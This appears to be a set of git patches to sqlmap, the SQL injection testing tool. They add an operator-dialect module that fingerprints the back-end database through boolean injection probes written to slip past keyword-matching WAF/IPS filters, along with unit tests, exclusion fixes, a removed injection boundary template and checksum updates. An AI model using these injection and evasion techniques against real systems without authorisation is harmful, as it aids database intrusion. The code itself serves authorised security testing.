lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion from thirdparty import six @@ -149,6 +150,13 @@ def checkSqlInjection(place, parameter, value): if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests: kb.heuristicDbms = heuristicCheckDbms(injection) + # keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads + # and is skipped when the WAF/IPS is dropping requests; the operator-dialect + # probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in + # that case (or when it was inconclusive), using the now-calibrated boolean oracle + if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None: + kb.heuristicDbms = dialectCheckDbms(injection) + # If the DBMS has already been fingerprinted (via DBMS-specific # error message, simple heuristic check or via DBMS-specific # payload), ask the user to limit the tests to the fingerprinted diff --git a/lib/core/settings.py b/lib/core/settings.py index 1d06f132f..6a295c57f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.10.6.120" +VERSION = "1.10.6.121" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -306,7 +306,7 @@ FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CO MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST") -HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") +HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOBS") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py new file mode 100644 index 000000000..1d225c3d2 --- /dev/null +++ b/lib/utils/dialect.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import popValue +from lib.core.common import pushValue +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.request.inject import checkBooleanExpression + +# Operator-dialect probes for a keyword-free back-end DBMS heuristic. +# +# Each probe is an arithmetic identity that holds only in the dialect(s) noted, using operator +# *semantics* alone - no SQL keywords, functions, quotes or schema names. It complements +# heuristicCheckDbms() (which uses (SELECT 'x')='x' string round-trips): the dialect probes carry +# no SELECT/quote, so they can narrow the back-end DBMS where those are dropped (e.g. a +# keyword-matching WAF/IPS, or when kb.droppingRequests has it skipped entirely). +# +# Each probe is evaluated through checkBooleanExpression(), i.e. as an appended boolean +# (... AND (<probe>)), which yields a clean true/false from the comparison oracle. (A value-position +# variant - replacing the value with id=2^0 etc. - was prototyped and rejected: those probes land on +# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing +# false positives. See PROVE_DESIGN.md.) +# +# Truth table measured on a live OWASP-CRS platform across 11 engines (MySQL, MariaDB/TiDB, +# PostgreSQL, CockroachDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB, Derby); +# only the zero-false-positive rules are kept (see _classify). With anchor value 2: +# +# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1) vs +# no such operator (SQLite/Oracle/... -> error, so false) +# * 2^3=8 -> '^' is exponentiation (PostgreSQL/CockroachDB: 2^3=8) - false for XOR dialects +# (2^3=1) and erroring dialects; a positive PostgreSQL-family marker. CAVEAT: +# '^'=exponentiation is not strictly unique to PostgreSQL - MS Access/Jet and DuckDB +# also use it (neither on the platform), so this can read as PostgreSQL there. +# * 5/2=2 -> integer division (PostgreSQL/MSSQL/SQLite) vs real division (MySQL/Oracle: 2.5) +# * 2|0=2 -> a bitwise OR operator exists (absent in Firebird/Oracle/ClickHouse/H2) +DIALECT_PROBES = ( + ("xor", "2^0=2"), + ("pgpow", "2^3=8"), + ("intdiv", "5/2=2"), + ("bitor", "2|0=2"), +) + +def _classify(signature): + """ + Maps a measured (xor, pgpow, intdiv, bitor) operator-dialect signature to a back-end + DBMS, or returns None when the signature does not *uniquely* identify a major DBMS (so + detection proceeds unchanged - the heuristic never wrong-foots the scan). + + Rules below are the subset of the measured 11-engine truth table that maps with zero + false positives. Engines whose operator profile is not distinctive enough (Oracle's + all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or + a fully WAF-blocked channel also produces) deliberately fall through to None: + + >>> _classify((True, False, False, True)) # MySQL / MariaDB / TiDB + 'MySQL' + >>> _classify((True, False, True, True)) # Microsoft SQL Server + 'Microsoft SQL Server' + >>> _classify((False, True, True, True)) # PostgreSQL + 'PostgreSQL' + >>> _classify((False, True, False, True)) # CockroachDB (pgwire) -> PostgreSQL family + 'PostgreSQL' + >>> _classify((False, False, True, True)) # SQLite + 'SQLite' + >>> _classify((False, False, True, False)) is None # Firebird/HSQLDB/Derby/H2 -> no prior + True + >>> _classify((False, False, False, False)) is None # all-false (Oracle/ClickHouse/blocked) -> no prior + True + """ + + xor, pgpow, intdiv, bitor = signature + + if pgpow: # '^' is exponentiation -> PostgreSQL family + return DBMS.PGSQL + if xor and intdiv: # '^' is XOR AND integer division -> SQL Server + return DBMS.MSSQL + if xor and not intdiv: # '^' is XOR AND real division -> MySQL family + return DBMS.MYSQL + if not xor and intdiv and bitor: # no '^', integer division, bitwise '|' -> SQLite + return DBMS.SQLITE + + return None + +def dialectCheckDbms(injection): + """ + Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the + given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the + WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe + here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous or + WAF-blocked channel yields None, leaving the scan unchanged. + """ + + retVal = None + + if conf.skipHeuristics: + return retVal + + pushValue(kb.injection) + kb.injection = injection + + try: + # channel sanity: a tautology must read TRUE and a contradiction FALSE, otherwise the + # boolean oracle is unreliable and the all-false signature (Oracle-like) would be meaningless + if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3"): + signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES) + retVal = _classify(signature) + finally: + kb.injection = popValue() + + if retVal and not Backend.getIdentifiedDbms(): + infoMsg = "heuristic (dialect) test shows that the back-end DBMS could be '%s'" % retVal + logger.info(infoMsg) + + return retVal diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 28de4c5d6..bd27f55e2 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -93,7 +93,7 @@ class Enumeration(GenericEnumeration): if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -116,7 +116,7 @@ class Enumeration(GenericEnumeration): if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -206,7 +206,7 @@ class Enumeration(GenericEnumeration): for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -343,7 +343,7 @@ class Enumeration(GenericEnumeration): for db in (_ for _ in dbs if _): db = safeSQLIdentificatorNaming(db) - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: continue if conf.exclude and re.search(conf.exclude, db, re.I) is not None: diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index f5d5987f6..bae73904c 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -304,7 +304,7 @@ class Databases(object): if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) - query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) + query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if unsafeSQLIdentificatorNaming(db) not in self.excludeDbsList) else: query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) @@ -356,7 +356,7 @@ class Databases(object): if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) continue diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py new file mode 100644 index 000000000..6b464cbc5 --- /dev/null +++ b/tests/test_dialectdbms.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth +table: the (xor, intdiv, pgcast, bitor) operator signatures measured across 11 live engines +on an OWASP-CRS test platform, asserting that _classify() maps each to the expected back-end +DBMS - and, just as importantly, that the engines whose signatures collide or are ambiguous +map to None (no prior), so the heuristic never wrong-foots detection. The end-to-end behaviour +(the probes producing these signatures through a real boolean injection) is exercised against +the live platform, not here. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.dialect as dialect +from lib.core.data import kb +from lib.core.enums import DBMS +from lib.utils.dialect import _classify +from lib.utils.dialect import dialectCheckDbms + +# measured 2026-06 across the sqli-platform (boolean form "id=2 AND <probe>", anchor value 2); +# signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2) +MEASURED = { + "mysql": ((True, False, False, True), DBMS.MYSQL), + "tidb": ((True, False, False, True), DBMS.MYSQL), # MySQL wire-compatible + "mssql": ((True, False, True, True), DBMS.MSSQL), + "postgres": ((False, True, True, True), DBMS.PGSQL), + "cockroach": ((False, True, False, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division) + "sqlite": ((False, False, True, True), DBMS.SQLITE), + # not distinctive enough -> deliberately no prior (operators alone can't safely separate these) + "firebird": ((False, False, True, False), None), + "hsqldb": ((False, False, True, False), None), # collides with firebird/derby/h2 + "derby": ((False, False, True, False), None), + "h2": ((False, False, True, False), None), + "clickhouse": ((False, False, False, False), None), # all-error, like Oracle/broken channel +} + + +class TestDialectClassification(unittest.TestCase): + def test_measured_engines_map_as_expected(self): + for engine, (signature, expected) in MEASURED.items(): + self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine) + + def test_no_false_positive_across_measured_set(self): + # ambiguous engines must not borrow a major-DBMS identity; concrete ones must stay in range + for engine, (signature, expected) in MEASURED.items(): + result = _classify(signature) + if expected is None: + self.assertIsNone(result, "ambiguous engine %r leaked a DBMS prior" % engine) + else: + self.assertIn(result, (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.ORACLE)) + + def test_all_error_signature_yields_no_prior(self): + # an all-error signature (Oracle, ClickHouse, or simply a WAF-blocked channel) is not + # distinctive enough - it must NOT be guessed as any DBMS + self.assertIsNone(_classify((False, False, False, False))) + + def test_pgpow_dominates_as_postgres_marker(self): + # exponentiation '^' is a positive PostgreSQL-family marker regardless of division flavour + self.assertEqual(_classify((False, True, True, True)), DBMS.PGSQL) + self.assertEqual(_classify((False, True, False, True)), DBMS.PGSQL) + + +class TestDialectCheckDbmsGuard(unittest.TestCase): + """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good + channel, and None (no prior) whenever the channel is unreliable - the safety contract.""" + + def _run(self, truth): + # truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection + orig = dialect.checkBooleanExpression + dialect.checkBooleanExpression = lambda expr, **kwargs: bool(truth.get(expr, False)) + saved = kb.get("injection") + try: + return dialectCheckDbms(object()) # the injection arg is only stashed, never inspected here + finally: + dialect.checkBooleanExpression = orig + kb.injection = saved + + def test_identifies_mysql_on_good_channel(self): + truth = {"2=2": True, "2=3": False, "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True} + self.assertEqual(self._run(truth), DBMS.MYSQL) + + def test_identifies_postgres_on_good_channel(self): + truth = {"2=2": True, "2=3": False, "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True} + self.assertEqual(self._run(truth), DBMS.PGSQL) + + def test_none_on_blocked_channel(self): + # everything blocked/false -> the tautology 2=2 reads False -> sanity fails -> None + self.assertIsNone(self._run({})) + + def test_none_on_static_channel(self): + # a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None + self.assertIsNone(self._run({"2=2": True, "2=3": True, "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True})) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 8a458fc8d068ba842dc629b75ba7462a4fa17bcf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= <miroslav.stampar@gmail.com> Date: Thu, 18 Jun 2026 13:14:15 +0200 Subject: [PATCH 027/165] Removal of duplicate boundary --- data/txt/sha256sums.txt | 4 ++-- data/xml/boundaries.xml | 8 -------- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f6a88d4c8..ab376f2e6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -76,7 +76,7 @@ c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962 data/udf/postg a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml -0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml +a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml 0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml 53d0f29459f37248c320d5cb9960d432f46889696d27ae30cc3a3309fd6e026c data/xml/payloads/error_based.xml @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -997888bab1d98fb9bc2550f3ab99df966d37f38719a41a8fb767e2cd79db6c4f lib/core/settings.py +c5bd1d6e862412495961bee8513e9e2f78a8f90ca15fdc53a87f221b84f9ab70 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml index ccf93177a..cea5457cd 100644 --- a/data/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -441,14 +441,6 @@ Formats: <suffix>)+</suffix> </boundary> - <boundary> - <level>5</level> - <clause>9</clause> - <where>1</where> - <ptype>2</ptype> - <prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix> - <suffix>)+'</suffix> - </boundary> <!-- End of pre-WHERE generic boundaries --> <!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"--> diff --git a/lib/core/settings.py b/lib/core/settings.py index 6a295c57f..faf1d11db 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.10.6.121" +VERSION = "1.10.6.122" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 8de9c5899d6e2222e29252a4552d1e2eda008c12 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= <miroslav.stampar@gmail.com> Date: Thu, 18 Jun 2026 17:46:40 +0200 Subject: [PATCH 028/165] Couple of improvements --- data/txt/sha256sums.txt | 34 +++++++++---------- data/xml/payloads/error_based.xml | 4 +-- data/xml/payloads/inline_query.xml | 2 +- lib/controller/checks.py | 13 ++++++++ lib/controller/controller.py | 2 +- lib/core/agent.py | 2 +- lib/core/bigarray.py | 4 +-- lib/core/common.py | 4 +-- lib/core/option.py | 6 ++-- lib/core/optiondict.py | 2 +- lib/core/settings.py | 7 +++- lib/core/testing.py | 2 +- lib/parse/cmdline.py | 2 +- lib/request/inject.py | 12 ++++--- lib/techniques/error/use.py | 6 ++-- lib/techniques/union/use.py | 6 ++-- lib/utils/prove.py | 49 +++++++++++++++++++++++----- plugins/dbms/mssqlserver/takeover.py | 2 +- 18 files changed, 108 insertions(+), 51 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ab376f2e6..18bc61608 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -79,8 +79,8 @@ e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banne a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml 0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml -53d0f29459f37248c320d5cb9960d432f46889696d27ae30cc3a3309fd6e026c data/xml/payloads/error_based.xml -b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml +6ebf0da74b18c95aee4fd4fc2874bda4b3780dc4254806f3968b953fa01bdca1 data/xml/payloads/error_based.xml +516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml @@ -162,13 +162,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 63657c00a046ca0fb28fd069407ab6305bd7b95c42f26a96ed083fd05b152252 extra/vulnserver/vulnserver.py 3abecaec1a9c59645a4821463a2d761235f7a4f763a491f188a41a083bbddd98 lib/controller/action.py -72707b5bdfc757c4e5271e156178919292b991a6e7337d3dcdeffea9df6db3ea lib/controller/checks.py -dcd4adcd7a2447a624ca7927541941d25767a4581af2d762c3197dc93790f4df lib/controller/controller.py +9387fb775b694156a71b336a2a9638ef24c577aa38746f391ac040ff05306d95 lib/controller/checks.py +96463b969312bd4fd29452b5fc739f33e5a73f81fdc1ef80ac27debbe9926e42 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py -ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py -734a00fd87c67cde48d9ab9b5cdfa8b064300939898c4de2636e91d16a4223ba lib/core/common.py +1d7ed24bc41b9b73d7483a41c8b9162e95c7c027b1d07e52904c75fcad42fcfd lib/core/agent.py +12d0f1f28796b6fbf5629a3fd335b4098eac0583f832d1aa650efa22bf52e782 lib/core/bigarray.py +f3725380a33c370c263516863d8e2bf3582f0ea6e37d45df8c176aa62ade19a1 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -181,26 +181,26 @@ e4f92e09737ff0dda7ec30e0db1912570e252853b3af9b8f2b9f68ad33cf09fe lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -06651cff25422dcb84c159f80faf8dc377d82ddd451b5910f12c4c6a3ebe1e94 lib/core/optiondict.py -e3a3729a24306b7ecace614fe27a8123c0becb0c5283ca519e5bcf376af2c711 lib/core/option.py +96d54c79a2982709ba5639bc997c76db700e85c7fdcb474cedb490132f7ae5ad lib/core/optiondict.py +8084a0efe82bf3d3ff98f988bc6227d72ca015ac665afee9a8afc09afac2be52 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c5bd1d6e862412495961bee8513e9e2f78a8f90ca15fdc53a87f221b84f9ab70 lib/core/settings.py +5edba86522bc49aa6caf80118fc560610e76cc7f35a3c3c09a8052747a3b97ef lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -c39dae0602b356d42f55df369c05614bbfb00c2abf2f0419fefe2ae781aa3098 lib/core/testing.py +a43da1fc59cbc48698db34dc3516967910c84ef5945cf5423c2954acd54fe898 lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -14b2fcfa2d6c3a155e3b85f093929c6129893ad191d1988a717daa1ffbb422e7 lib/parse/cmdline.py +8c18ec0dc54dd313033408d7f55556d2068dbbafd9dd92a759d770843a680fd9 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -217,7 +217,7 @@ ec14b5139cd6b03aa167a7b91fab913baf042d4370471390c13eed325eeb245f lib/request/co cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py -aeeeb5f0148078e30d52208184042efc3618d3f2e840d7221897aae34315824e lib/request/inject.py +7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py @@ -237,11 +237,11 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py 2934514a60cbcd48675053a73f785b4c7bfe606b51c34ae81a86818362ec4672 lib/techniques/dns/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py -ee63b978154b0cb9a385fe51926ef6dc6f425b07f62b0d17208e82b4ac020f5c lib/techniques/error/use.py +5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py 30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b lib/techniques/union/test.py -5b49f5bca4e35362fa7d83896e0769fdb01ad152f30059aafd8ce0f093400a3f lib/techniques/union/use.py +0a9d884d95734986a628e5846ed85c985a96534fb0c56f9d7042a89377801bc2 lib/techniques/union/use.py aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -255,7 +255,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py e7d31de0e268c129ee11c590eb618f73a85e1022c08b8ed1f77753043c949214 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py -0aeb890fb6b0783f25df7c1ba7c9d0098325b4f7a677ff0151e411be24760f04 lib/utils/prove.py +c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py f635872093a12cd63a72d77adf88e8f8cd4084a5cc64384f12966cd75a499bdf 